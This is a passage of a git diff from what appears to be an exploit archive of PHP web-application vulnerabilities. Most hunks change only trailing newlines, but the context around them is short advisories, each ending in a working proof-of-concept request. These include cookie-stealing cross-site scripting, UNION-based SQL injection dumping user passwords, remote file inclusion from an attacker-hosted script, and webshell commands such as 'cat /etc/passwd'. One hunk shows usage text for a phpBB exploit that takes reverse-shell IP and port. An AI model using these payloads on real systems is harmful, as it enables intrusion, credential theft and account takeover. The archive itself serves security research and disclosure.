+http://www.example.com/index.php?act=Speak&code=02&cid=1&id='&poster=1&name=2&answer=3&email=4 \ No newline at end of file diff --git a/platforms/php/webapps/25125.txt b/platforms/php/webapps/25125.txt index 297bd7d25..253d557fd 100755 --- a/platforms/php/webapps/25125.txt +++ b/platforms/php/webapps/25125.txt @@ -18,4 +18,4 @@ filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)% 3C/script%3E http://www.example.com/zboard.php?id=link&page=ALBANIAN% -20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25127.txt b/platforms/php/webapps/25127.txt index 130b55d4a..86e1be0b3 100755 --- a/platforms/php/webapps/25127.txt +++ b/platforms/php/webapps/25127.txt @@ -8,4 +8,4 @@ An attacker may leverage this issue to execute arbitrary server-side script code The latest version (2.4) of pMachine Pro is reported vulnerable. It is possible that other versions are affected as well. -http://www.example.com/pMachine/pm/add_ons/mail_this_entry/mail_autocheck.php?pm_path=http://attackers-webserver/malicious-code.php? \ No newline at end of file +http://www.example.com/pMachine/pm/add_ons/mail_this_entry/mail_autocheck.php?pm_path=http://attackers-webserver/malicious-code.php? \ No newline at end of file diff --git a/platforms/php/webapps/25143.txt b/platforms/php/webapps/25143.txt index 899d0f473..106872688 100755 --- a/platforms/php/webapps/25143.txt +++ b/platforms/php/webapps/25143.txt @@ -8,4 +8,4 @@ This vulnerability is reported to affect Invision Power Board version 1.3.1; pre Invision Power Board 2.0.3 is also reported vulnerable to this issue. -[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`style=background:url("javascript:[code]") [/color] \ No newline at end of file +[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`style=background:url("javascript:[code]") [/color] \ No newline at end of file diff --git a/platforms/php/webapps/25145.txt b/platforms/php/webapps/25145.txt index 28fc7dc56..ccc17e1b1 100755 --- a/platforms/php/webapps/25145.txt +++ b/platforms/php/webapps/25145.txt @@ -21,4 +21,4 @@ http://www.example.com/panews/includes/admin_setup.php?access[]=admins&do=update then: -http://www.example.com/panews/includes/config.php?nst=id \ No newline at end of file +http://www.example.com/panews/includes/config.php?nst=id \ No newline at end of file diff --git a/platforms/php/webapps/25149.txt b/platforms/php/webapps/25149.txt index a13cd9630..304167fca 100755 --- a/platforms/php/webapps/25149.txt +++ b/platforms/php/webapps/25149.txt @@ -11,4 +11,4 @@ http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_I http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type3=catalog_products&search=1&l_price='&u_price=1&Submit=Search -http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type3=catalog_products&search=1&l_price=1&u_price='&Submit=Search \ No newline at end of file +http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type3=catalog_products&search=1&l_price=1&u_price='&Submit=Search \ No newline at end of file diff --git a/platforms/php/webapps/25151.txt b/platforms/php/webapps/25151.txt index e62c4ad66..03ed72b9d 100755 --- a/platforms/php/webapps/25151.txt +++ b/platforms/php/webapps/25151.txt @@ -4,4 +4,4 @@ PBLang is reportedly affected by a cross-site scripting vulnerability. This issu As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/search.php?s=<script language="javascript">alert("");</script> \ No newline at end of file +http://www.example.com/search.php?s=<script language="javascript">alert("");</script> \ No newline at end of file diff --git a/platforms/php/webapps/25155.txt b/platforms/php/webapps/25155.txt index b6834b7c5..8ae8c74f3 100755 --- a/platforms/php/webapps/25155.txt +++ b/platforms/php/webapps/25155.txt @@ -4,4 +4,4 @@ Multiple remote cross-site scripting vulnerabilities affect phpMyAdmin. These is An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/phpMyAdmin/themes/original/css/theme_right.css.php?right_font_family=[XSS] \ No newline at end of file +http://www.example.com/phpMyAdmin/themes/original/css/theme_right.css.php?right_font_family=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25156.txt b/platforms/php/webapps/25156.txt index 5eb3ac19d..466df545e 100755 --- a/platforms/php/webapps/25156.txt +++ b/platforms/php/webapps/25156.txt @@ -8,4 +8,4 @@ It should be noted that these issues may also be leveraged to read arbitrary fil http://www.example.com/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc/passwd%00&theme=passwd%00 http://www.example.com/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc&theme=passwd%00 -http://www.example.com/phpMyAdmin/libraries/database_interface.lib.php?cfg[Server][extension]=cXIb8O3 \ No newline at end of file +http://www.example.com/phpMyAdmin/libraries/database_interface.lib.php?cfg[Server][extension]=cXIb8O3 \ No newline at end of file diff --git a/platforms/php/webapps/25158.txt b/platforms/php/webapps/25158.txt index 800dc7921..b34353b27 100755 --- a/platforms/php/webapps/25158.txt +++ b/platforms/php/webapps/25158.txt @@ -4,4 +4,4 @@ OOApp Guestbook is reportedly affected by multiple HTML injection vulnerabilitie The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user, other attacks are also possible. -http://www.example.com/home.php?do=del;id=%31%27%3E%0A[Javascript]%31%27%3E%0A = 1'> \ No newline at end of file +http://www.example.com/home.php?do=del;id=%31%27%3E%0A[Javascript]%31%27%3E%0A = 1'> \ No newline at end of file diff --git a/platforms/php/webapps/25161.txt b/platforms/php/webapps/25161.txt index 1ec688d4e..2d52599ab 100755 --- a/platforms/php/webapps/25161.txt +++ b/platforms/php/webapps/25161.txt @@ -13,4 +13,4 @@ http://www.example.com/index.php?module=announce&ANN_user_op=submit_announcement press Save. -Go here http://www.example.com/images/announce/nst.gif.php?nst=ls -la \ No newline at end of file +Go here http://www.example.com/images/announce/nst.gif.php?nst=ls -la \ No newline at end of file diff --git a/platforms/php/webapps/25170.cpp b/platforms/php/webapps/25170.cpp index 8ca5850a9..439f5efdf 100755 --- a/platforms/php/webapps/25170.cpp +++ b/platforms/php/webapps/25170.cpp @@ -457,7 +457,7 @@ char * intostr(int erf) void help() { - cout << "phpbbexp.exe http://server/phpbb/ [backshell ip] [backshell port]"<<endl; + cout << "phpbbexp.exe http://site.com/phpbb/ [backshell ip] [backshell port]"<<endl; cout << "coded by Malloc(0) Wicked Attitude"<<endl; cout << "phpbb <= 2.0.12 uid vuln + admin_styles.php exploit"<<endl; exit(0); diff --git a/platforms/php/webapps/25172.txt b/platforms/php/webapps/25172.txt index 63f408bae..03bdd73a0 100755 --- a/platforms/php/webapps/25172.txt +++ b/platforms/php/webapps/25172.txt @@ -14,4 +14,4 @@ http://www.example.com/admin.php?module=NS-AddStory&op=EditCategory&catid='cXIb8 http://www.example.com/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread&order=0&thold=0&catid=-99999%20UNION%20SELECT%20pn_uname,pn_uname,pn_ uname,pn_uname,pn_uname,null,null,null,pn_uname,pn_uname,pn_uname,pn_uname,pn_uname,null,pn_pass,null,null,null,null,null,null%20FROM%20[$PREFIX]users%20WHERE%20pn_uid=2/ -* \ No newline at end of file +* \ No newline at end of file diff --git a/platforms/php/webapps/25173.txt b/platforms/php/webapps/25173.txt index ed365b4ab..2750c1dc9 100755 --- a/platforms/php/webapps/25173.txt +++ b/platforms/php/webapps/25173.txt @@ -10,4 +10,4 @@ http://www.example.com/index.php?name=Downloads&req=search&query=&show=cXIb8O3 http://www.example.com/index.php?name=Downloads&req=search&query=[Program name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/* -http://www.example.com/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd \ No newline at end of file +http://www.example.com/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/25174.txt b/platforms/php/webapps/25174.txt index 460fc56d7..8ab965190 100755 --- a/platforms/php/webapps/25174.txt +++ b/platforms/php/webapps/25174.txt @@ -9,4 +9,4 @@ http://www.example.com/phpcoin/mod.php?mod=helpdesk&mode=new %22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E http://www.example.com/phpcoin/mod.php?mod=mail&mode=reset&w=user -%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E \ No newline at end of file +%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25175.txt b/platforms/php/webapps/25175.txt index a2a87d5dd..7dcb2c628 100755 --- a/platforms/php/webapps/25175.txt +++ b/platforms/php/webapps/25175.txt @@ -5,4 +5,4 @@ Multiple remote input-validation vulnerabilities affect phpCOIN because the appl An attacker may leverage these issues to manipulate and view arbitrary database contents (by exploiting various SQL-injection issues) and to run arbitrary script code in the browser of an unsuspecting user (by exploiting multiple cross-site scripting vulnerabilities). http://www.example.com/phpcoin/login.php?w=user&o=login&e=u -%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E \ No newline at end of file +%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25176.txt b/platforms/php/webapps/25176.txt index 0bd39698e..c69efc5ee 100755 --- a/platforms/php/webapps/25176.txt +++ b/platforms/php/webapps/25176.txt @@ -4,4 +4,4 @@ PBLang is reported prone to a directory traversal vulnerability. It is reported A remote attacker may exploit this condition to reveal the contents of web server readable files. Reports indicate that this will allow a remote attacker to reveal account information for target users including the password hash. -http://www.example.com/pblang/sendpm.php?to=[username]&subj=[doesntmatter]&num=1&orig=/home/public_html/pblang/db/members/[username] \ No newline at end of file +http://www.example.com/pblang/sendpm.php?to=[username]&subj=[doesntmatter]&num=1&orig=/home/public_html/pblang/db/members/[username] \ No newline at end of file diff --git a/platforms/php/webapps/25178.txt b/platforms/php/webapps/25178.txt index bebf8be13..588a95d80 100755 --- a/platforms/php/webapps/25178.txt +++ b/platforms/php/webapps/25178.txt @@ -6,4 +6,4 @@ The attacker-supplied HTML and script code would be able to access properties of These issues are reported to affect all versions of 427BB. -http://www.example.com/profile.php?user=%3Ciframe%20src=http://www.attacker.com%20height=1%20width=1%3E%3C/iframe%3E \ No newline at end of file +http://www.example.com/profile.php?user=%3Ciframe%20src=http://www.attacker.com%20height=1%20width=1%3E%3C/iframe%3E \ No newline at end of file diff --git a/platforms/php/webapps/25179.txt b/platforms/php/webapps/25179.txt index 8d26c8476..13f4d9790 100755 --- a/platforms/php/webapps/25179.txt +++ b/platforms/php/webapps/25179.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/12694/info PBLang is reported prone to a vulnerability that can allow a registered user to delete arbitrary personal messages. The vulnerability exists due to a design error leading to a lack of access controls. -http://www.example.com/pblang/delpm.php?id=[PMID]&a=[Target user name] \ No newline at end of file +http://www.example.com/pblang/delpm.php?id=[PMID]&a=[Target user name] \ No newline at end of file diff --git a/platforms/php/webapps/25182.txt b/platforms/php/webapps/25182.txt index 1c113d571..899b69c23 100755 --- a/platforms/php/webapps/25182.txt +++ b/platforms/php/webapps/25182.txt @@ -8,4 +8,4 @@ Because of these vulnerabilities, an attacker may craft a link containing malici http://www.example.com/[aura]/hits.php?&hits=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/[aura]/index.php?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E&pilih=search -http://www.example.com/[aura]/counter.php?theCount=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/[aura]/counter.php?theCount=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25183.txt b/platforms/php/webapps/25183.txt index 9ccb398e5..a8acf5c77 100755 --- a/platforms/php/webapps/25183.txt +++ b/platforms/php/webapps/25183.txt @@ -4,4 +4,4 @@ ProjectBB is reportedly affected by multiple cross-site scripting vulnerabilitie As a result of these vulnerabilities, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/Zip/divers.php?action=liste&liste=&desc=&pages=[XSS] \ No newline at end of file +http://www.example.com/Zip/divers.php?action=liste&liste=&desc=&pages=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25185.txt b/platforms/php/webapps/25185.txt index b654e3bfe..e56a5fa81 100755 --- a/platforms/php/webapps/25185.txt +++ b/platforms/php/webapps/25185.txt @@ -6,4 +6,4 @@ As a result of this vulnerability, it is possible for a remote attacker to creat This vulnerability is reported to affect D-Forum 1.11; earlier versions may also be affected. -http://www.example.com/dforum/nav.php3?page=[code] \ No newline at end of file +http://www.example.com/dforum/nav.php3?page=[code] \ No newline at end of file diff --git a/platforms/php/webapps/25186.txt b/platforms/php/webapps/25186.txt index b379e7129..58f6eaa48 100755 --- a/platforms/php/webapps/25186.txt +++ b/platforms/php/webapps/25186.txt @@ -12,4 +12,4 @@ Gulftech Security Research has supplied the following additional proof of concep A test for vulnerability: http://www.example.com/[path]/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20username%20FROM%20be_users%20WHERE%20uid=1/* Lists user names and categories: -http://www.example.com/[path]/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20username,null%20FROM%20be_users%20WHERE%201/* \ No newline at end of file +http://www.example.com/[path]/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20username,null%20FROM%20be_users%20WHERE%201/* \ No newline at end of file diff --git a/platforms/php/webapps/25189.txt b/platforms/php/webapps/25189.txt index f8b0ecb07..afadd5197 100755 --- a/platforms/php/webapps/25189.txt +++ b/platforms/php/webapps/25189.txt @@ -4,4 +4,4 @@ Download Center Lite is reportedly affected by an arbitrary remote PHP file incl This vulnerability affects Download Center Lite version 1.5; earlier versions may also be affected. -http://www.example.com/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker]/ \ No newline at end of file +http://www.example.com/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker]/ \ No newline at end of file diff --git a/platforms/php/webapps/25193.txt b/platforms/php/webapps/25193.txt index 897759600..6918bd3c4 100755 --- a/platforms/php/webapps/25193.txt +++ b/platforms/php/webapps/25193.txt @@ -5,4 +5,4 @@ phpWebLog is prone to remote file include vulnerability. This issue is due to a An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. http://www.example.com/phpWebLog/include/init.inc.php?G_PATH=http://www.example.org/ -http://www.example.com/phpWebLog/backend/addons/links/index.php?PATH=http://www.example.org/ \ No newline at end of file +http://www.example.com/phpWebLog/backend/addons/links/index.php?PATH=http://www.example.org/ \ No newline at end of file diff --git a/platforms/php/webapps/25197.txt b/platforms/php/webapps/25197.txt index 1ff88bed8..e1ef34515 100755 --- a/platforms/php/webapps/25197.txt +++ b/platforms/php/webapps/25197.txt @@ -6,4 +6,4 @@ An attacker can supply ASCII equivalents of arbitrary HTML and script code throu PHP-Fusion 5.00 is reportedly affected by this issue. -[IMG]&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#104&#116&#116&#112&#58&#47&#47&#119&#119&#119&#46&#97&#108&#98&#105&#110&#111&#98&#108&#97&#99&#107&#115&#104&#101&#101&#112&#46&#99&#111&#109&#47&#102&#108&#97&#115&#104&#47&#121&#111&#117&#46&#104&#116&#109&#108&#39[/IMG] \ No newline at end of file +[IMG]&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#104&#116&#116&#112&#58&#47&#47&#119&#119&#119&#46&#97&#108&#98&#105&#110&#111&#98&#108&#97&#99&#107&#115&#104&#101&#101&#112&#46&#99&#111&#109&#47&#102&#108&#97&#115&#104&#47&#121&#111&#117&#46&#104&#116&#109&#108&#39[/IMG] \ No newline at end of file diff --git a/platforms/php/webapps/25200.txt b/platforms/php/webapps/25200.txt index 93d0f6764..512053b22 100755 --- a/platforms/php/webapps/25200.txt +++ b/platforms/php/webapps/25200.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to have arbitrary script code executed in http://www.example.com/pafiledb.php?"><script>alert();</script> http://www.example.com/pafiledb.php?action="><script>alert();</script> http://www.example.com/pafiledb.php?[something]="><script>alert();</script> -http://www.example.com/pafiledb.php?[something]=&[something]="><script>alert();</script> \ No newline at end of file +http://www.example.com/pafiledb.php?[something]=&[something]="><script>alert();</script> \ No newline at end of file diff --git a/platforms/php/webapps/25206.txt b/platforms/php/webapps/25206.txt index dcad05c25..47e206619 100755 --- a/platforms/php/webapps/25206.txt +++ b/platforms/php/webapps/25206.txt @@ -9,4 +9,4 @@ The issues reported are an HTML injection vulnerability, multiple cross-site scr An attacker may leverage these issues to execute script code in an unsuspecting user's browser, to manipulate SQL queries and to bypass authentication requirements. http://www.example.com/zorum_3_5/index.php?list="/><script>alert()</script> -http://www.example.com/zorum_3_5/index.php?method=markread&list=zorumuser&fromlist=secmenu&frommethod="/><script>alert()</script> \ No newline at end of file +http://www.example.com/zorum_3_5/index.php?method=markread&list=zorumuser&fromlist=secmenu&frommethod="/><script>alert()</script> \ No newline at end of file diff --git a/platforms/php/webapps/25208.txt b/platforms/php/webapps/25208.txt index 3cea88321..a755fe2e8 100755 --- a/platforms/php/webapps/25208.txt +++ b/platforms/php/webapps/25208.txt @@ -8,4 +8,4 @@ The first issue is an access validation issue that may allow attackers to manipu An attacker may leverage these issues to execute script code in an unsuspecting user's browser and to bypass authentication to execute certain application commands. -http://www.example.com/photopost/adm-photo.php?ppaction=manipulate&pid=[IMAGE ID]&dowhat=rebuildthumb&dowhat=rotateccw \ No newline at end of file +http://www.example.com/photopost/adm-photo.php?ppaction=manipulate&pid=[IMAGE ID]&dowhat=rebuildthumb&dowhat=rotateccw \ No newline at end of file diff --git a/platforms/php/webapps/25212.txt b/platforms/php/webapps/25212.txt index ce7313b8b..612b370c2 100755 --- a/platforms/php/webapps/25212.txt +++ b/platforms/php/webapps/25212.txt @@ -7,4 +7,4 @@ The SQL injection vulnerability is reported to affect the 'editpost.php' script. UBB.threads 6.0 is reported prone to this issue. It is likely that other versions are affected as well. -http://www.example.com/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a \ No newline at end of file +http://www.example.com/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a \ No newline at end of file diff --git a/platforms/php/webapps/25216.txt b/platforms/php/webapps/25216.txt index deb472c46..4283f44e1 100755 --- a/platforms/php/webapps/25216.txt +++ b/platforms/php/webapps/25216.txt @@ -4,4 +4,4 @@ Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileD Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. -http://www.example.com/[pafiledb_dir]/pafiledb.php?action=category&start="><iframe%20src=http://www.securityreason.com></iframe>&sortby=date \ No newline at end of file +http://www.example.com/[pafiledb_dir]/pafiledb.php?action=category&start="><iframe%20src=http://www.securityreason.com></iframe>&sortby=date \ No newline at end of file diff --git a/platforms/php/webapps/25217.html b/platforms/php/webapps/25217.html index 5874a08fa..8b56b0e1a 100755 --- a/platforms/php/webapps/25217.html +++ b/platforms/php/webapps/25217.html @@ -8,4 +8,4 @@ It has been demonstrated that the issue may be exploited to compromise HolaCMS. <input type="hidden" name="vote_filename" value="admin/multiuser/multiuser.php"> <input type="hidden" name="result" value="0"> <input type="submit" value="Stimme abgeben" name="button"> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/25220.txt b/platforms/php/webapps/25220.txt index 570269d83..81b42e5aa 100755 --- a/platforms/php/webapps/25220.txt +++ b/platforms/php/webapps/25220.txt @@ -6,4 +6,4 @@ The attacker-supplied HTML and script code would be able to access properties of This issue is reported to affect paBox 2.0; earlier versions may also be vulnerable. -<INPUT type=radio CHECKED value=""><script>document.write(document.cookie);</script>" name=posticon>click me \ No newline at end of file +<INPUT type=radio CHECKED value=""><script>document.write(document.cookie);</script>" name=posticon>click me \ No newline at end of file diff --git a/platforms/php/webapps/25222.html b/platforms/php/webapps/25222.html index 72bcf5af6..4edfdb1cf 100755 --- a/platforms/php/webapps/25222.html +++ b/platforms/php/webapps/25222.html @@ -12,4 +12,4 @@ HolaCMS 1.4.9-1 and prior versions are affected by this issue. <input type="hidden" name="vote_filename" value="holaDB/votes/../../admin/multiuser/multiuser.php"> <input type="hidden" name="result" value="0"> <input type="submit" value="Stimme abgeben" name="button"> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/25223.txt b/platforms/php/webapps/25223.txt index 0c7d5b1ba..3a685eb57 100755 --- a/platforms/php/webapps/25223.txt +++ b/platforms/php/webapps/25223.txt @@ -6,4 +6,4 @@ The attacker-supplied HTML and script code would be able to access properties of These issues are reported to affect Phorum 5.0.14; earlier versions may also be affected. -test<script language='Javascript' src='http:&#47;&#47;www.example.com&#47;test.js'>.txt \ No newline at end of file +test<script language='Javascript' src='http:&#47;&#47;www.example.com&#47;test.js'>.txt \ No newline at end of file diff --git a/platforms/php/webapps/25224.txt b/platforms/php/webapps/25224.txt index 44ec8d4eb..447a08424 100755 --- a/platforms/php/webapps/25224.txt +++ b/platforms/php/webapps/25224.txt @@ -4,4 +4,4 @@ SimpGB is reportedly affected by an SQL injection vulnerability. This issue is d This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. -http://www.example.com/simpgb/guestbook.php?lang=de&mode=new&quote=-1%20UNION%20SELECT%200,0,username,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20simpgb_users%20WHERE%201 \ No newline at end of file +http://www.example.com/simpgb/guestbook.php?lang=de&mode=new&quote=-1%20UNION%20SELECT%200,0,username,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20simpgb_users%20WHERE%201 \ No newline at end of file diff --git a/platforms/php/webapps/25225.txt b/platforms/php/webapps/25225.txt index d6342d2d7..8badf13c8 100755 --- a/platforms/php/webapps/25225.txt +++ b/platforms/php/webapps/25225.txt @@ -4,4 +4,4 @@ phpAdsNew is reportedly affected by a remote cross-site scripting vulnerability. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/[phpAdsNew]/adframe.php?refresh=example.com'>[XSS code] \ No newline at end of file +http://www.example.com/[phpAdsNew]/adframe.php?refresh=example.com'>[XSS code] \ No newline at end of file diff --git a/platforms/php/webapps/25226.txt b/platforms/php/webapps/25226.txt index 221002618..8506fa69c 100755 --- a/platforms/php/webapps/25226.txt +++ b/platforms/php/webapps/25226.txt @@ -6,4 +6,4 @@ Remote attackers could potentially exploit this issue to include and execute a r This issue reportedly affects VoteBox version 2.0, previous versions might also be affected. -www.example.com/votebox.php?VoteBoxPath=http://[CMD] \ No newline at end of file +www.example.com/votebox.php?VoteBoxPath=http://[CMD] \ No newline at end of file diff --git a/platforms/php/webapps/25227.txt b/platforms/php/webapps/25227.txt index 1328a7077..0e49feab0 100755 --- a/platforms/php/webapps/25227.txt +++ b/platforms/php/webapps/25227.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary server-side script co PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. -http://www.example.com/phpopenchat/contrib/phpbb/alternative2/phpBB2_root/poc_loginform.php?phpbb_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps \ No newline at end of file +http://www.example.com/phpopenchat/contrib/phpbb/alternative2/phpBB2_root/poc_loginform.php?phpbb_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps \ No newline at end of file diff --git a/platforms/php/webapps/25228.txt b/platforms/php/webapps/25228.txt index 42fdd5aa3..077b49573 100755 --- a/platforms/php/webapps/25228.txt +++ b/platforms/php/webapps/25228.txt @@ -8,4 +8,4 @@ PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. http://www.example.com/phpopenchat/contrib/phpnuke/poc.php?poc_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps -http://www.example.com/phpopenchat/contrib/yabbse/poc.php?sourcedir=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps \ No newline at end of file +http://www.example.com/phpopenchat/contrib/yabbse/poc.php?sourcedir=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps \ No newline at end of file diff --git a/platforms/php/webapps/25229.txt b/platforms/php/webapps/25229.txt index 4dd09d26c..950092338 100755 --- a/platforms/php/webapps/25229.txt +++ b/platforms/php/webapps/25229.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary server-side script co PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. -http://www.example.com/phpopenchat/contrib/phpnuke/ENGLISH_poc.php?poc_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps \ No newline at end of file +http://www.example.com/phpopenchat/contrib/phpnuke/ENGLISH_poc.php?poc_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps \ No newline at end of file diff --git a/platforms/php/webapps/25230.txt b/platforms/php/webapps/25230.txt index 1db557c26..b230e80bc 100755 --- a/platforms/php/webapps/25230.txt +++ b/platforms/php/webapps/25230.txt @@ -6,4 +6,4 @@ An attacker could also exploit this issue to control how the site is rendered to PunBB 1.2.3 is reported vulnerable, however, other versions may be affected as well. -example@"/><script>alert()</script>.com \ No newline at end of file +example@"/><script>alert()</script>.com \ No newline at end of file diff --git a/platforms/php/webapps/25232.txt b/platforms/php/webapps/25232.txt index 9da014794..d534f0429 100755 --- a/platforms/php/webapps/25232.txt +++ b/platforms/php/webapps/25232.txt @@ -4,4 +4,4 @@ mcNews is reportedly affected by a remote file include vulnerability. This issue This issue is reported to affect mcNews versions 1.3 and prior. -http://www.example.com/path/to/mcnews/admin/install.php?l=http://www.example.com \ No newline at end of file +http://www.example.com/path/to/mcnews/admin/install.php?l=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/25235.txt b/platforms/php/webapps/25235.txt index fb479fd4f..09b1959c4 100755 --- a/platforms/php/webapps/25235.txt +++ b/platforms/php/webapps/25235.txt @@ -6,4 +6,4 @@ Because of this, a malicious user may influence database queries in order to vie Subdreamer Light is reported to be affected by this issue. All versions of Subdreamer Light are considered to be vulnerable at the moment. -http://www.example.com/index.php?categoryid=3&p17_sectionid=1&p17_imageid=[SQL code] \ No newline at end of file +http://www.example.com/index.php?categoryid=3&p17_sectionid=1&p17_imageid=[SQL code] \ No newline at end of file diff --git a/platforms/php/webapps/25240.txt b/platforms/php/webapps/25240.txt index 1c30d57aa..3bb59c588 100755 --- a/platforms/php/webapps/25240.txt +++ b/platforms/php/webapps/25240.txt @@ -6,4 +6,4 @@ Multiple SQL injection vulnerabilities have been reported and a cross-site scrip An attacker may leverage these issues to manipulate and view arbitrary database contents by exploiting the SQL injection issues, and to have arbitrary script code executed in the browser of an unsuspecting user by exploiting the cross-site scripting vulnerabilities. -http://www.example.com/register.php?action=confirm&login='or 1=1 into outfile '/var/www/html/cf_users_with_magic_quotes_on.txt \ No newline at end of file +http://www.example.com/register.php?action=confirm&login='or 1=1 into outfile '/var/www/html/cf_users_with_magic_quotes_on.txt \ No newline at end of file diff --git a/platforms/php/webapps/25242.txt b/platforms/php/webapps/25242.txt index 476559bff..8bd64c540 100755 --- a/platforms/php/webapps/25242.txt +++ b/platforms/php/webapps/25242.txt @@ -4,4 +4,4 @@ Ciamos is reported prone to a file disclosure vulnerability. The full scope of t A remote attacker may exploit this vulnerability to reveal files that contain potentially sensitive information. Information that is harvested in this manner may then be used to aid in further attacks against the software and the computer that is hosting the software. -http://www.example.com/ciamosinstalation/class/debug/highlight.php?file=ciamosinstallationpath\mainfile.php&line=151#151 \ No newline at end of file +http://www.example.com/ciamosinstalation/class/debug/highlight.php?file=ciamosinstallationpath\mainfile.php&line=151#151 \ No newline at end of file diff --git a/platforms/php/webapps/25244.txt b/platforms/php/webapps/25244.txt index 3cac6144f..ed5fa3e29 100755 --- a/platforms/php/webapps/25244.txt +++ b/platforms/php/webapps/25244.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary server-side script code CzarNews 1.13b is reported vulnerable; other versions may be affected as well. -http://www.example.com/research/news/CzarNewsv113b/headlines.php?tpath=http://www.example.org/cn_config.php \ No newline at end of file +http://www.example.com/research/news/CzarNewsv113b/headlines.php?tpath=http://www.example.org/cn_config.php \ No newline at end of file diff --git a/platforms/php/webapps/25248.txt b/platforms/php/webapps/25248.txt index 127245ca9..38daf465e 100755 --- a/platforms/php/webapps/25248.txt +++ b/platforms/php/webapps/25248.txt @@ -1,4 +1,4 @@ -$$$$$$\ $$\ $$\ $$$$$$\ + $$$$$$\ $$\ $$\ $$$$$$\ $$ __$$\ $$ | $$ | $$ __$$\ $$ / \__| $$ | $$ | $$ / \__| $$ |$$$$\ $$$$$$$$ | \$$$$$$\ diff --git a/platforms/php/webapps/25249.txt 